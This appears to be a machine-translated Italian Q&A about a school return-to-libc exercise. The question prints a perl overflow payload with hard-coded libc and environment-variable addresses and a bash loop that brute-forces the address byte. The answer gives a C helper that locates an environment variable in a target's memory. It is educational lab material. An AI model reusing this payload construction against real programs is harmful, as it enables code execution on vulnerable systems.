Variabile d'ambiente e scripting per exploit return-to-libc

4

Per la scuola dobbiamo eseguire un exploit return-to-libc. In questo modo, dobbiamo generare una shell da / bin / xh che stamperà un messaggio che ci è riuscito con il nostro exploit.

Per fare questo exploit, ho usato questo script per entrare

$(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x25\xf9\xff\xbf"')

\ x25 \ xf9 \ xff \ xbf punta a una variabile d'ambiente che ho inserito io stesso usando il comando "export", la stringa SHELLMINE = / bin / xh per essere esatta. L'uso della stringa della normale shell bash non è utile in quanto non mi porterà nella shell che stampa il testo della successione. Naturalmente, sono consapevole che gli indirizzi delle variabili cambiano di volta in volta, quindi la parte "\ x25" viene modificata quando necessario.

Questo script funziona quando viene utilizzato direttamente nel terminale.

Ora il problema è che non funzionerà se usato da uno script bash. Questo perché le variabili di ambiente che vengono utilizzate durante l'esecuzione dello script si trovano in una posizione diversa. Ho provato ad usare un debugger che viene eseguito dallo script e cercando l'indirizzo lì ma con l'indirizzo trovato non funziona neanche

Questo è il codice che ho ricevuto

for i in 'seq 192 239'; 
do 
number=$(printf "%02x" "$i");
export SHELLMINE=/bin/xh 
echo "$number"
echo "'print \x90 x (789) . \x60\xb0\xe6\xb7 . \xe0\xeb\xe5\xb7 . \x$number\xf8\xff\xbf '"

$lev $(perl -e 'print "\x90" x (789) . "\x60\xb0\xe6\xb7" . "\xe0\xeb\xe5\xb7" . "\x'"$number"'\xf8\xff\xbf" ')
done

Fondamentalmente ciò di cui ho bisogno è un modo per ottenere l'indirizzo della variabile d'ambiente o un modo migliore per inserire la stringa da utilizzare nell'exploit.

    
posta kalina 14.12.2015 - 23:10
fonte

1 risposta

1

La memorizzazione del valore nell'ambiente è una pratica comune (buona).

Per ottenere l'indirizzo della variabile d'ambiente puoi usare questo snippet C:

(Im presumendo che tu sappia come compilarlo per il tuo sistema)

/* Author: Jon Erickson */

/* Deps */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Main */
int main(int argc, char *argv[]) {
    char *ptr; /* the needed address will be stored here */

    if(argc < 3) { 
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr); /* Print the result */
}

Nel tuo caso, lascia che lo chiami getenv.c , dovresti dare questo comando:

./getenv SHELLMINE [Name of the program you are expliting the overflow]

e stamperà il tuo puntatore necessario come:

SHELLMINE will be at [ptr]
    
risposta data 15.09.2016 - 21:59
fonte

Leggi altre domande sui tag